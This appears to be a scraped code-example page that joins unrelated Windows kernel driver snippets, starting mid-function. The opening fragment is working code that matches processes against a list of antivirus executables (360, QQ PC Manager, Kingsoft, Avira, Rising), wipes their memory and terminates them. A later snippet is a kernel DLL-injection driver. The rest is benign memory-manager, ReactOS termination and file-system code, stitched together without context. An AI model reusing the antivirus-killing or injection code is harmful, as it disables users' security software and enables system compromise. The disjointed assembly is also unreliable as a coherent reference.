			KillCompare(&imagename,"360tray.exe",&bexe);
			KillCompare(&imagename,"360safe.exe",&bexe);
			KillCompare(&imagename,"ZhuDongFangYu.e",&bexe);
			KillCompare(&imagename,"360rp.exe",&bexe);
			KillCompare(&imagename,"360sd.exe",&bexe);
			KillCompare(&imagename,"qqpcrtp.exe",&bexe);
			KillCompare(&imagename,"qqpcleakscan.ex",&bexe);
			KillCompare(&imagename,"qqpctray.exe",&bexe);
			KillCompare(&imagename,"qqpcmgr.exe",&bexe);
			KillCompare(&imagename,"ksafe.exe",&bexe);
			KillCompare(&imagename,"kscan.exe",&bexe);
			KillCompare(&imagename,"kxescore.exe",&bexe);
			KillCompare(&imagename,"kxetray.exe",&bexe);
			KillCompare(&imagename,"ksafesvc.exe",&bexe);
			KillCompare(&imagename,"ksafetray.exe",&bexe);
			KillCompare(&imagename,"ksmgui.exe",&bexe);
			KillCompare(&imagename,"ksmsvc.exe",&bexe);
			KillCompare(&imagename,"avcenter.exe",&bexe);
			KillCompare(&imagename,"avgnt.exe",&bexe);
			KillCompare(&imagename,"avguard.exe",&bexe);
			KillCompare(&imagename,"avshadow.exe",&bexe);
			KillCompare(&imagename,"sched.exe",&bexe);
			KillCompare(&imagename,"ravmond.exe",&bexe);
			KillCompare(&imagename,"rsagent.exe",&bexe);
			KillCompare(&imagename,"rstray.exe",&bexe);
			KillCompare(&imagename,"rsmgrsvc.exe",&bexe);
			if (bexe)
			{
				KeStackAttachProcess(ptempepro,&ApcState);
				for(puserAddress=0;puserAddress<=0x7fffffff;puserAddress+=0x1000)
				{  
					if(MmIsAddressValid((PVOID)puserAddress))
					{
						__try
						{
							ProbeForWrite((PVOID)puserAddress,0x1000,sizeof(ULONG));
							RtlZeroMemory((PVOID)puserAddress, 0x1000);
						}__except(1)
						{ 
							continue;  
						}
					}
					else
					{
						if(puserAddress>0x1000000)//填这么多足够破坏进程数据了
						{
							break;
						}
					}
				}
				KeUnstackDetachProcess(&ApcState);
				status=ObOpenObjectByPointer(ptempepro,0,NULL,PROCESS_ALL_ACCESS,*PsProcessType,KernelMode,&prohd);
				if (NT_SUCCESS(status))
				{
					ZwTerminateProcess(prohd,0);
					ZwClose(prohd);
				}
			}
			ptempepro=(PEPROCESS)((ULONG)(*(PULONG)((ULONG)ptempepro+eprooffset.ActiveProcessLinks))-eprooffset.ActiveProcessLinks); //+0x088 ActiveProcessLinks : _LIST_ENTRY
		} while (ptempepro!=pepro);
예제 #10
0
NTSTATUS QueryProcess( PPROCESS_INFO pRecvBuffer , PULONG pulProcCount )
{
	PEPROCESS peCurrent;
	LIST_ENTRY* sEntry;
	LIST_ENTRY* nEntry;
	ULONG	  ulProcCount=0;
	
	//must exist a buffer to store the number of process
	if (pulProcCount == NULL)
	{
		return STATUS_UNSUCCESSFUL;
	}


	//init it;
	*pulProcCount = 0;
	//get current process 
	peCurrent = PsGetCurrentProcess();
	if (peCurrent == NULL)
	{
		return STATUS_UNSUCCESSFUL;
	}


	//first get the count
	nEntry = sEntry = (LIST_ENTRY*)((ULONG)peCurrent + ACTIVE_PROCESS_LINK);
	do 
	{
		ulProcCount++;
		nEntry = nEntry->Flink;
	} while (sEntry != nEntry);


	if (pRecvBuffer == NULL && pulProcCount !=NULL)
	{
		//return count of process
		*pulProcCount = ulProcCount - 1;
		return STATUS_UNSUCCESSFUL;
	}

	if (pRecvBuffer !=NULL && pulProcCount !=NULL)
	{
		//get the count that caller wanna enum
		//return info and count of all process
		PEPROCESS peTemp;
		char* chName;
		PULONG	pulProcId;
		//using for looping
		ULONG i,ulEnumCout;

		ULONG ulWillingCount = *pulProcCount;
		ulEnumCout = ((ulWillingCount < ulProcCount)? ulWillingCount : ulProcCount) ;
		
		//init
		i=0;
		nEntry = sEntry;
		do 
		{
			peTemp = POINT_TO_PROCESS(nEntry);
			chName = POINT_TO_PROCNAME(peTemp);
			pulProcId = POINT_TO_PROCID(peTemp);

			_try
			{
				pRecvBuffer[i].ulPid = *pulProcId;
				strcpy( pRecvBuffer[i].wchName , chName);
			}
			_except(EXCEPTION_CONTINUE_EXECUTION)
			{
				/**/
			}

			i++;
			ulEnumCout--;
			nEntry = nEntry->Flink;
		} while (nEntry != sEntry && ulEnumCout !=0);

		*pulProcCount = i-1;
		return STATUS_SUCCESS;
	}
예제 #11
0
파일: procpae.c 프로젝트: BaoYu0721/WRK-1.2
VOID
MiUpdateSystemPdes (
    IN PEPROCESS Process
    )

/*++

Routine Description:

    This routine updates the system PDEs, typically due to a large page
    system PTE mapping being created or destroyed.  This is rare.

    Note this is only needed for 32-bit platforms (64-bit platforms share
    a common top level system page).

Arguments:

    Process - Supplies a pointer to the process to update.

Return Value:

    None.

Environment:

    Kernel mode, expansion lock held.

    The caller acquired the expansion lock prior to clearing the update
    bit from this process.  We must update the PDEs prior to releasing
    it so that any new updates can also be rippled.

--*/

{
    ULONG PdeOffset;
    ULONG PdeEndOffset;
    LOGICAL LowPtes;
    PVOID VirtualAddress;
    MMPTE TempPte;
    PFN_NUMBER PageDirectoryIndex;
    PFN_NUMBER TargetPageDirectoryIndex;
    PEPROCESS CurrentProcess;
    PMMPTE PointerPte;
    PMMPTE PointerPde;
    PMMPTE TargetPdePage;
    PMMPTE TargetAddressSpacePde;
    PMMPTE PaeTop;
    ULONG i;

    ASSERT (KeGetCurrentIrql () == DISPATCH_LEVEL);

    CurrentProcess = PsGetCurrentProcess ();

    //
    // Map the page directory page in hyperspace.
    // Note for PAE, this is the high 1GB virtual only.
    //

    PaeTop = Process->PaeTop;
    ASSERT (PaeTop != NULL);
    PaeTop += 3;
    ASSERT (PaeTop->u.Hard.Valid == 1);
    TargetPageDirectoryIndex = (PFN_NUMBER)(PaeTop->u.Hard.PageFrameNumber);

    PaeTop = &MiSystemPaeVa.PteEntry[PD_PER_SYSTEM - 1];
    ASSERT (PaeTop->u.Hard.Valid == 1);
    PageDirectoryIndex = (PFN_NUMBER)(PaeTop->u.Hard.PageFrameNumber);

    TempPte = ValidKernelPte;
    TempPte.u.Hard.PageFrameNumber = TargetPageDirectoryIndex;
    ASSERT (MiLargePageHyperPte->u.Long == 0);
    MI_WRITE_VALID_PTE (MiLargePageHyperPte, TempPte);
    TargetPdePage = MiGetVirtualAddressMappedByPte (MiLargePageHyperPte);

    LowPtes = FALSE;

    //
    // Map the system process page directory as we know that's always kept
    // up to date.
    //

    PointerPte = MiMapPageInHyperSpaceAtDpc (CurrentProcess,
                                             PageDirectoryIndex);

    //
    // Copy all system PTE ranges that reside in the top 1GB.
    //

    for (i = 0; i < MiPteRangeIndex; i += 1) {

        VirtualAddress = MiPteRanges[i].StartingVa;

        if (VirtualAddress < (PVOID) 0xC0000000) {
            LowPtes = TRUE;
            continue;
        }

        PdeOffset = MiGetPdeOffset (VirtualAddress);
        PdeEndOffset = MiGetPdeOffset (MiPteRanges[i].EndingVa);

        PointerPde = &PointerPte[PdeOffset];
        TargetAddressSpacePde = &TargetPdePage[PdeOffset];

        RtlCopyMemory (TargetAddressSpacePde,
                       PointerPde,
                       (PdeEndOffset - PdeOffset + 1) * sizeof (MMPTE));

    }

    MiUnmapPageInHyperSpaceFromDpc (CurrentProcess, PointerPte);

    //
    // Just invalidate the mapping on the current processor as we cannot
    // have context switched.
    //

    MI_WRITE_ZERO_PTE (MiLargePageHyperPte);
    MI_FLUSH_CURRENT_TB_SINGLE (TargetPdePage);

    ASSERT (MmSystemRangeStart >= (PVOID) 0x80000000);

    //
    // Copy low additional system PTE ranges (if they exist).
    //

    if (LowPtes == TRUE) {
            
        ASSERT (MmSystemRangeStart < (PVOID) 0xC0000000);

        //
        // Map the target process' page directory.
        //

        PaeTop = Process->PaeTop;
        ASSERT (PaeTop != NULL);
        PaeTop += 2;
        ASSERT (PaeTop->u.Hard.Valid == 1);
        TargetPageDirectoryIndex = (PFN_NUMBER)(PaeTop->u.Hard.PageFrameNumber);

        TempPte.u.Hard.PageFrameNumber = TargetPageDirectoryIndex;
        ASSERT (MiLargePageHyperPte->u.Long == 0);
        MI_WRITE_VALID_PTE (MiLargePageHyperPte, TempPte);

        //
        // Map the system's page directory.
        //

        PaeTop = &MiSystemPaeVa.PteEntry[PD_PER_SYSTEM - 2];
        ASSERT (PaeTop->u.Hard.Valid == 1);
        PageDirectoryIndex = (PFN_NUMBER)(PaeTop->u.Hard.PageFrameNumber);

        PdeOffset = MiGetPdeOffset (MmSystemRangeStart);
        TargetAddressSpacePde = &TargetPdePage[PdeOffset];

        PointerPte = MiMapPageInHyperSpaceAtDpc (CurrentProcess,
                                                 PageDirectoryIndex);

        //
        // Copy all system ranges that reside in the 3rd GB.
        //
    
        for (i = 0; i < MiPteRangeIndex; i += 1) {
    
            VirtualAddress = MiPteRanges[i].StartingVa;
    
            if (VirtualAddress < (PVOID) 0xC0000000) {
    
                PdeOffset = MiGetPdeOffset (VirtualAddress);
                PdeEndOffset = MiGetPdeOffset (MiPteRanges[i].EndingVa);
        
                PointerPde = &PointerPte[PdeOffset];
                TargetAddressSpacePde = &TargetPdePage[PdeOffset];
        
                RtlCopyMemory (TargetAddressSpacePde,
                               PointerPde,
                               (PdeEndOffset - PdeOffset + 1) * sizeof (MMPTE));
            } 
        }
    
        MiUnmapPageInHyperSpaceFromDpc (CurrentProcess, PointerPte);

        //
        // Just invalidate the mapping on the current processor as we cannot
        // have context switched.
        //

        MI_WRITE_ZERO_PTE (MiLargePageHyperPte);
        MI_FLUSH_CURRENT_TB_SINGLE (TargetPdePage);
    }

    return;
}
예제 #12
0
VOID
FASTCALL
MiDecrementShareCount (
    IN PMMPFN Pfn1,
    IN PFN_NUMBER PageFrameIndex
    )

/*++

Routine Description:

    This routine decrements the share count within the PFN element
    for the specified physical page.  If the share count becomes
    zero the corresponding PTE is converted to the transition state
    and the reference count is decremented and the ValidPte count
    of the PTEframe is decremented.

Arguments:

    Pfn1 - Supplies the PFN database entry to decrement.

    PageFrameIndex - Supplies the physical page number of which to decrement
                     the share count.

Return Value:

    None.

Environment:

    Must be holding the PFN database lock with APCs disabled.

--*/

{
    ULONG FreeBit;
    MMPTE TempPte;
    PMMPTE PointerPte;
    PEPROCESS Process;

    ASSERT (PageFrameIndex > 0);
    ASSERT (MI_IS_PFN (PageFrameIndex));
    ASSERT (Pfn1 == MI_PFN_ELEMENT (PageFrameIndex));

    if (Pfn1->u3.e1.PageLocation != ActiveAndValid &&
        Pfn1->u3.e1.PageLocation != StandbyPageList) {
            KeBugCheckEx (PFN_LIST_CORRUPT,
                      0x99,
                      PageFrameIndex,
                      Pfn1->u3.e1.PageLocation,
                      0);
    }

    Pfn1->u2.ShareCount -= 1;

    ASSERT (Pfn1->u2.ShareCount < 0xF000000);

    if (Pfn1->u2.ShareCount == 0) {

        if (PERFINFO_IS_GROUP_ON(PERF_MEMORY)) {
            PERFINFO_PFN_INFORMATION PerfInfoPfn;

            PerfInfoPfn.PageFrameIndex = PageFrameIndex;
            PerfInfoLogBytes(PERFINFO_LOG_TYPE_ZEROSHARECOUNT, 
                             &PerfInfoPfn, 
                             sizeof(PerfInfoPfn));
        }

        //
        // The share count is now zero, decrement the reference count
        // for the PFN element and turn the referenced PTE into
        // the transition state if it refers to a prototype PTE.
        // PTEs which are not prototype PTEs do not need to be placed
        // into transition as they are placed in transition when
        // they are removed from the working set (working set free routine).
        //

        //
        // If the PTE referenced by this PFN element is actually
        // a prototype PTE, it must be mapped into hyperspace and
        // then operated on.
        //

        if (Pfn1->u3.e1.PrototypePte == 1) {

            if (MiIsProtoAddressValid (Pfn1->PteAddress)) {
                Process = NULL;
                PointerPte = Pfn1->PteAddress;
            }
            else {

                //
                // The address is not valid in this process, map it into
                // hyperspace so it can be operated upon.
                //

                Process = PsGetCurrentProcess ();
                PointerPte = (PMMPTE) MiMapPageInHyperSpaceAtDpc(Process, Pfn1->u4.PteFrame);
                PointerPte = (PMMPTE)((PCHAR)PointerPte +
                                        MiGetByteOffset(Pfn1->PteAddress));
            }

            TempPte = *PointerPte;

            MI_MAKE_VALID_PTE_TRANSITION (TempPte,
                                          Pfn1->OriginalPte.u.Soft.Protection);
            MI_WRITE_INVALID_PTE (PointerPte, TempPte);

            if (Process != NULL) {
                MiUnmapPageInHyperSpaceFromDpc (Process, PointerPte);
            }

            //
            // There is no need to flush the translation buffer at this
            // time as we only invalidated a prototype PTE.
            //
        }

        //
        // Change the page location to inactive (from active and valid).
        //

        Pfn1->u3.e1.PageLocation = TransitionPage;

        //
        // Decrement the reference count as the share count is now zero.
        //

        MM_PFN_LOCK_ASSERT();

        ASSERT (Pfn1->u3.e2.ReferenceCount != 0);

        if (Pfn1->u3.e2.ReferenceCount == 1) {

            if (MI_IS_PFN_DELETED (Pfn1)) {

                Pfn1->u3.e2.ReferenceCount = 0;

                //
                // There is no referenced PTE for this page, delete the page
                // file space (if any), and place the page on the free list.
                //

                ASSERT (Pfn1->OriginalPte.u.Soft.Prototype == 0);

                FreeBit = GET_PAGING_FILE_OFFSET (Pfn1->OriginalPte);

                if ((FreeBit != 0) && (FreeBit != MI_PTE_LOOKUP_NEEDED)) {
                    MiReleaseConfirmedPageFileSpace (Pfn1->OriginalPte);
                }

                //
                // Temporarily mark the frame as active and valid so that
                // MiIdentifyPfn knows it is safe to walk back through the
                // containing frames for a more accurate identification.
                // Note the page will be immediately re-marked as it is
                // inserted into the freelist.
                //

                Pfn1->u3.e1.PageLocation = ActiveAndValid;

                MiInsertPageInFreeList (PageFrameIndex);
            }
            else {
                MiDecrementReferenceCount (Pfn1, PageFrameIndex);
            }
        }
        else {
            InterlockedDecrementPfn ((PSHORT)&Pfn1->u3.e2.ReferenceCount);
        }
    }

    return;
}
예제 #13
0
파일: Driver.c 프로젝트: LTears/Kinject-x64
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
	PDEVICE_OBJECT DeviceObject;
	PEPROCESS Process;
	PETHREAD Thread;
	PKAPC_STATE ApcState;

	PVOID KdVersionBlock,NtdllBase;
	PULONG ptr,Functions,Names;
	PUSHORT Ordinals;

	PLDR_DATA_TABLE_ENTRY MmLoadedUserImageList,ModuleEntry;
	ULONG i;

	PIMAGE_DOS_HEADER pIDH;
	PIMAGE_NT_HEADERS pINH;
	PIMAGE_EXPORT_DIRECTORY pIED;

	pDriverObject->DriverUnload=Unload;

	KdVersionBlock=(PVOID)__readfsdword(0x34); // Get the KdVersionBlock
	MmLoadedUserImageList=*(PLDR_DATA_TABLE_ENTRY*)((PUCHAR)KdVersionBlock+0x228); // Get the MmLoadUserImageList

	DbgPrint("KdVersionBlock address: %#x",KdVersionBlock);
	DbgPrint("MmLoadedUserImageList address: %#x",MmLoadedUserImageList);

	ModuleEntry=(PLDR_DATA_TABLE_ENTRY)MmLoadedUserImageList->InLoadOrderLinks.Flink; // Move to first entry
	NtdllBase=ModuleEntry->DllBase; // ntdll is always located in first entry

	DbgPrint("ntdll base address: %#x",NtdllBase);

	pIDH=(PIMAGE_DOS_HEADER)NtdllBase;
	pINH=(PIMAGE_NT_HEADERS)((PUCHAR)NtdllBase+pIDH->e_lfanew);
	pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)NtdllBase+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	Functions=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfFunctions);
	Names=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfNames);

	Ordinals=(PUSHORT)((PUCHAR)NtdllBase+pIED->AddressOfNameOrdinals);

	// Parse the export table to locate LdrLoadDll

	for(i=0;i<pIED->NumberOfNames;i++)
	{
		if(!strcmp((char*)NtdllBase+Names[i],"LdrLoadDll"))
		{
			LdrLoadDll=(PLDR_LOAD_DLL)((PUCHAR)NtdllBase+Functions[Ordinals[i]]);
			break;
		}
	}

	DbgPrint("LdrLoadDll address: %#x",LdrLoadDll);

	Process=PsGetCurrentProcess();
	Thread=PsGetCurrentThread();

	ptr=(PULONG)Thread;

	// Locate the ApcState structure

	for(i=0;i<512;i++)
	{
		if(ptr[i]==(ULONG)Process)
		{
			ApcState=CONTAINING_RECORD(&ptr[i],KAPC_STATE,Process); // Get the actual address of KAPC_STATE
			ApcStateOffset=(ULONG)ApcState-(ULONG)Thread; // Calculate the offset of the ApcState structure

			break;
		}
	}

	DbgPrint("ApcState offset: %#x",ApcStateOffset);

	IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&DeviceObject);
	IoCreateSymbolicLink(&SymbolicLink,&DeviceName);

	for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
	{
		pDriverObject->MajorFunction[i]=DriverDispatch;
	}

	DeviceObject->Flags&=~DO_DEVICE_INITIALIZING;
	DeviceObject->Flags|=DO_DIRECT_IO;

	DbgPrint("DLL injection driver loaded.");
	return STATUS_SUCCESS;
}
예제 #14
0
파일: kill.c 프로젝트: GYGit/reactos
/*
 * @implemented
 */
NTSTATUS
NTAPI
NtTerminateProcess(IN HANDLE ProcessHandle OPTIONAL,
                   IN NTSTATUS ExitStatus)
{
    NTSTATUS Status;
    PEPROCESS Process, CurrentProcess = PsGetCurrentProcess();
    PETHREAD Thread, CurrentThread = PsGetCurrentThread();
    BOOLEAN KillByHandle;
    PAGED_CODE();
    PSTRACE(PS_KILL_DEBUG,
            "ProcessHandle: %p ExitStatus: %d\n", ProcessHandle, ExitStatus);

    /* Were we passed a process handle? */
    if (ProcessHandle)
    {
        /* Yes we were, use it */
        KillByHandle = TRUE;
    }
    else
    {
        /* We weren't... we assume this is suicide */
        KillByHandle = FALSE;
        ProcessHandle = NtCurrentProcess();
    }

    /* Get the Process Object */
    Status = ObReferenceObjectByHandle(ProcessHandle,
                                       PROCESS_TERMINATE,
                                       PsProcessType,
                                       KeGetPreviousMode(),
                                       (PVOID*)&Process,
                                       NULL);
    if (!NT_SUCCESS(Status)) return(Status);

    /* Check if this is a Critical Process, and Bugcheck */
    if (Process->BreakOnTermination)
    {
        /* Break to debugger */
        PspCatchCriticalBreak("Terminating critical process 0x%p (%s)\n",
                              Process,
                              Process->ImageFileName);
    }

    /* Lock the Process */
    if (!ExAcquireRundownProtection(&Process->RundownProtect))
    {
        /* Failed to lock, fail */
        ObDereferenceObject(Process);
        return STATUS_PROCESS_IS_TERMINATING;
    }

    /* Set the delete flag, unless the process is comitting suicide */
    if (KillByHandle) PspSetProcessFlag(Process, PSF_PROCESS_DELETE_BIT);

    /* Get the first thread */
    Status = STATUS_NOTHING_TO_TERMINATE;
    Thread = PsGetNextProcessThread(Process, NULL);
    if (Thread)
    {
        /* We know we have at least a thread */
        Status = STATUS_SUCCESS;

        /* Loop and kill the others */
        do
        {
            /* Ensure it's not ours*/
            if (Thread != CurrentThread)
            {
                /* Kill it */
                PspTerminateThreadByPointer(Thread, ExitStatus, FALSE);
            }

            /* Move to the next thread */
            Thread = PsGetNextProcessThread(Process, Thread);
        } while (Thread);
    }

    /* Unlock the process */
    ExReleaseRundownProtection(&Process->RundownProtect);

    /* Check if we are killing ourselves */
    if (Process == CurrentProcess)
    {
        /* Also make sure the caller gave us our handle */
        if (KillByHandle)
        {
            /* Dereference the process */
            ObDereferenceObject(Process);

            /* Terminate ourselves */
            PspTerminateThreadByPointer(CurrentThread, ExitStatus, TRUE);
        }
    }
    else if (ExitStatus == DBG_TERMINATE_PROCESS)
    {
        /* Disable debugging on this process */
        DbgkClearProcessDebugObject(Process, NULL);
    }

    /* Check if there was nothing to terminate, or if we have a Debug Port */
    if ((Status == STATUS_NOTHING_TO_TERMINATE) ||
        ((Process->DebugPort) && (KillByHandle)))
    {
        /* Clear the handle table */
        ObClearProcessHandleTable(Process);

        /* Return status now */
        Status = STATUS_SUCCESS;
    }

    /* Decrease the reference count we added */
    ObDereferenceObject(Process);

    /* Return status */
    return Status;
}
예제 #15
0
파일: kill.c 프로젝트: GYGit/reactos
NTSTATUS
NTAPI
NtTerminateThread(IN HANDLE ThreadHandle,
                  IN NTSTATUS ExitStatus)
{
    PETHREAD Thread;
    PETHREAD CurrentThread = PsGetCurrentThread();
    NTSTATUS Status;
    PAGED_CODE();
    PSTRACE(PS_KILL_DEBUG,
            "ThreadHandle: %p ExitStatus: %d\n", ThreadHandle, ExitStatus);

    /* Handle the special NULL case */
    if (!ThreadHandle)
    {
        /* Check if we're the only thread left */
        if (PsGetCurrentProcess()->ActiveThreads == 1)
        {
            /* This is invalid */
            return STATUS_CANT_TERMINATE_SELF;
        }

        /* Terminate us directly */
        goto TerminateSelf;
    }
    else if (ThreadHandle == NtCurrentThread())
    {
TerminateSelf:
        /* Terminate this thread */
        return PspTerminateThreadByPointer(CurrentThread,
                                           ExitStatus,
                                           TRUE);
    }

    /* We are terminating another thread, get the Thread Object */
    Status = ObReferenceObjectByHandle(ThreadHandle,
                                       THREAD_TERMINATE,
                                       PsThreadType,
                                       KeGetPreviousMode(),
                                       (PVOID*)&Thread,
                                       NULL);
    if (!NT_SUCCESS(Status)) return Status;

    /* Check to see if we're running in the same thread */
    if (Thread != CurrentThread)
    {
        /* Terminate it */
        Status = PspTerminateThreadByPointer(Thread, ExitStatus, FALSE);

        /* Dereference the Thread and return */
        ObDereferenceObject(Thread);
    }
    else
    {
        /* Dereference the thread and terminate ourselves */
        ObDereferenceObject(Thread);
        goto TerminateSelf;
    }

    /* Return status */
    return Status;
}
예제 #16
0
/*******************************************************************
 * MySetExceptionInfo()
 *******************************************************************/
void
MySetExceptionInfo(PEXCEPTION_RECORD ExceptionRecord, struct XP_KTRAP_FRAME *TrapFrame, BOOLEAN FirstChance)
{
  DWORD AddParms = (FirstChance << 16) | ((WORD)PsGetCurrentProcessId());
  DWORD Idx;
  DWORD EipFrom, EipTo;
  DWORD EspFrom, EspTo;
  BYTE *EProcess = NULL;

  // Acquire spinlock
  KeAcquireInStackQueuedSpinLock(&SpLock, &SpLockQueue);

  // Can throw in the exception ?
  if(ExcpIdx < ExcpMax)
  {
    // Throw it in
    Idx = ExcpIdx++;

    // Add the data
    RtlCopyMemory(&ExcpInfo[Idx].ExcpRecord, ExceptionRecord, sizeof(*ExceptionRecord));

    // TODO: Move this to a normal place
    ExcpInfo[Idx].ExcpRecord.ExceptionRecord = (PEXCEPTION_RECORD)AddParms;

    // Copy context
    // XXX: Hmm MMX ? FPU ? Debug ?
    ExcpInfo[Idx].Context.ContextFlags = CONTEXT_FULL;

    // Eip / EFlags
    ExcpInfo[Idx].Context.Eip          = TrapFrame->Eip;
    ExcpInfo[Idx].Context.EFlags       = TrapFrame->EFlags;

    // General
    ExcpInfo[Idx].Context.Ebp          = TrapFrame->Ebp;
    ExcpInfo[Idx].Context.Edi          = TrapFrame->Edi;
    ExcpInfo[Idx].Context.Esi          = TrapFrame->Esi;
    ExcpInfo[Idx].Context.Ebx          = TrapFrame->Ebx;
    ExcpInfo[Idx].Context.Ecx          = TrapFrame->Ecx;
    ExcpInfo[Idx].Context.Edx          = TrapFrame->Edx;
    ExcpInfo[Idx].Context.Eax          = TrapFrame->Eax;
    ExcpInfo[Idx].Context.Esp          = TrapFrame->HwEsp;

    // Segment (without cs)
    ExcpInfo[Idx].Context.SegGs        = TrapFrame->SegGs & SEGMENT_MASK;
    ExcpInfo[Idx].Context.SegFs        = TrapFrame->SegFs & SEGMENT_MASK;
    ExcpInfo[Idx].Context.SegEs        = TrapFrame->SegEs & SEGMENT_MASK;
    ExcpInfo[Idx].Context.SegDs        = TrapFrame->SegDs & SEGMENT_MASK;
    ExcpInfo[Idx].Context.SegSs        = TrapFrame->HwSegSs & RPL_MASK;

    // Cs
    if((TrapFrame->SegCs & FRAME_EDITED) == 0)
    {
      ExcpInfo[Idx].Context.SegCs = TrapFrame->TempSegCs & SEGMENT_MASK;
    }
    else
    {
      ExcpInfo[Idx].Context.SegCs = TrapFrame->SegCs & SEGMENT_MASK;
    }

    // XXX: Just check if ESP and EIP are accessible from this point.
    // I'm not so sure about it.

    // Setup
    EipFrom = ExcpInfo[Idx].Context.Eip;
    EipTo   = EipFrom + EIP_BUFFER_SIZE;

    EspFrom = ExcpInfo[Idx].Context.Esp;
    EspTo   = EspFrom + ESP_BUFFER_SIZE;

    RtlZeroMemory(&ExcpInfo[Idx].DataAtEip, EIP_BUFFER_SIZE);
    RtlZeroMemory(&ExcpInfo[Idx].DataAtEsp, ESP_BUFFER_SIZE);
    RtlZeroMemory(&ExcpInfo[Idx].ImageName, IMAGE_NAME_SIZE);

    // Copy EIP[]    
    if(MmIsAddressValid((PVOID)(EipTo-1)) && MmIsAddressValid((PVOID)EipFrom))
    {
      RtlCopyMemory(&ExcpInfo[Idx].DataAtEip, (PVOID)EipFrom, EIP_BUFFER_SIZE);
    }

    // Copy ESP[]
    if(MmIsAddressValid((PVOID)(EspTo-1)) && MmIsAddressValid((PVOID)EspFrom))
    {
      RtlCopyMemory(&ExcpInfo[Idx].DataAtEsp, (PVOID)EspFrom, ESP_BUFFER_SIZE);
    }

    // Copy ImageName from EPROCESS structure
    EProcess = (BYTE*)PsGetCurrentProcess();
    if(EProcess)
    {
      // I thing I can trust PsGetCurrentProcess()
      RtlCopyMemory(&ExcpInfo[Idx].ImageName, &EProcess[OFFSET_IMAGE_NAME], IMAGE_NAME_SIZE);
    }

    // Set the proper status
    DriverStatus = DRV_STATUS_OK_EXCP_PENDING;
  }
  else
  {
    // Set the proper status
    DriverStatus = DRV_STATUS_OK_EXCP_PENDING_BUFF_FULL;
  }
  
  // Release the spinlock and return
  KeReleaseInStackQueuedSpinLock(&SpLockQueue); 
}
예제 #17
0
NTSTATUS
DriverEntry(
    IN PDRIVER_OBJECT DriverObject,
    IN PUNICODE_STRING RegistryPath
    )

/*++

Routine Description:

    This is the initialization routine for the Fat file system
    device driver.  This routine creates the device object for the FileSystem
    device and performs all other driver initialization.

Arguments:

    DriverObject - Pointer to driver object created by the system.

Return Value:

    NTSTATUS - The function value is the final status from the initialization
        operation.

--*/

{
    USHORT MaxDepth;
    NTSTATUS Status;
    UNICODE_STRING UnicodeString;
    FS_FILTER_CALLBACKS FilterCallbacks;
    UNICODE_STRING ValueName;
    ULONG Value;

#if __NDAS_FAT__
	UNICODE_STRING	linkString;
	UNICODE_STRING	functionName;
	UNICODE_STRING	tempUnicode;
#endif

#if DBG
	DbgPrint( "\n************NdasFat %s %s %s\n", __FUNCTION__, __DATE__, __TIME__ );
#endif

#if __NDAS_FAT_DBG__

	FatDebugTraceLevel |= DEBUG_TRACE_ERROR;
	FatDebugTraceLevel |= DEBUG_TRACE_CLEANUP;
	FatDebugTraceLevel |= DEBUG_TRACE_CLOSE;
	FatDebugTraceLevel |= DEBUG_TRACE_CREATE;
	FatDebugTraceLevel |= DEBUG_TRACE_DIRCTRL;
	FatDebugTraceLevel |= DEBUG_TRACE_EA;
	FatDebugTraceLevel |= DEBUG_TRACE_FILEINFO;
	FatDebugTraceLevel |= DEBUG_TRACE_FSCTRL;
	FatDebugTraceLevel |= DEBUG_TRACE_LOCKCTRL;
	FatDebugTraceLevel |= DEBUG_TRACE_READ;
	FatDebugTraceLevel |= DEBUG_TRACE_VOLINFO;
	FatDebugTraceLevel |= DEBUG_TRACE_WRITE;
	FatDebugTraceLevel |= DEBUG_TRACE_DEVCTRL;
	FatDebugTraceLevel |= DEBUG_TRACE_FLUSH;
	FatDebugTraceLevel |= DEBUG_TRACE_PNP;
	FatDebugTraceLevel |= DEBUG_TRACE_SHUTDOWN;
	

	//FatDebugTraceLevel |= DEBUG_TRACE_FSCTRL;
	//FatDebugTraceLevel |= DEBUG_INFO_DEVCTRL;
	//FatDebugTraceLevel |= DEBUG_TRACE_WRITE;
	//FatDebugTraceLevel = 0xFFFFFFFFFFFFFFFF;
	//FatDebugTraceLevel |= DEBUG_TRACE_STRUCSUP;
	//FatDebugTraceLevel |= DEBUG_TRACE_FILEINFO;

	FatDebugTraceLevel = 0x00000009;

	FatDebugTraceLevel |= DEBUG_INFO_FSCTRL;
	FatDebugTraceLevel |= DEBUG_INFO_READ;
	FatDebugTraceLevel |= DEBUG_INFO_SECONDARY;
	FatDebugTraceLevel |= DEBUG_INFO_FILOBSUP;
	FatDebugTraceLevel |= DEBUG_TRACE_PNP;
	FatDebugTraceLevel |= DEBUG_TRACE_SHUTDOWN;
	FatDebugTraceLevel |= DEBUG_INFO_FILEINFO;
	FatDebugTraceLevel |= DEBUG_INFO_CREATE;
	FatDebugTraceLevel |= DEBUG_INFO_STRUCSUP;
	FatDebugTraceLevel |= DEBUG_INFO_CLEANUP;
	FatDebugTraceLevel |= DEBUG_INFO_CLOSE;
	FatDebugTraceLevel |= DEBUG_INFO_ALL;
	FatDebugTraceLevel |= DEBUG_INFO_WRITE;
	FatDebugTraceLevel &= ~DEBUG_TRACE_UNWIND;
	FatDebugTraceLevel |= DEBUG_INFO_FILEINFO;

	FatDebugTraceLevel = 0x00000009;

	FatDebugTraceLevel |= DEBUG_INFO_FSCTRL;
	FatDebugTraceLevel |= DEBUG_INFO_READ;
	FatDebugTraceLevel |= DEBUG_INFO_SECONDARY;
	FatDebugTraceLevel |= DEBUG_INFO_FILOBSUP;
	FatDebugTraceLevel |= DEBUG_INFO_FILEINFO;
	FatDebugTraceLevel |= DEBUG_INFO_CREATE;
	FatDebugTraceLevel |= DEBUG_INFO_STRUCSUP;
	FatDebugTraceLevel |= DEBUG_INFO_CLEANUP;
	FatDebugTraceLevel |= DEBUG_INFO_CLOSE;
	FatDebugTraceLevel |= DEBUG_INFO_ALL;
	FatDebugTraceLevel |= DEBUG_INFO_WRITE;

	FatDebugTraceLevel  = 0x00000000;

	FatDebugTraceLevel |= DEBUG_INFO_SECONDARY;
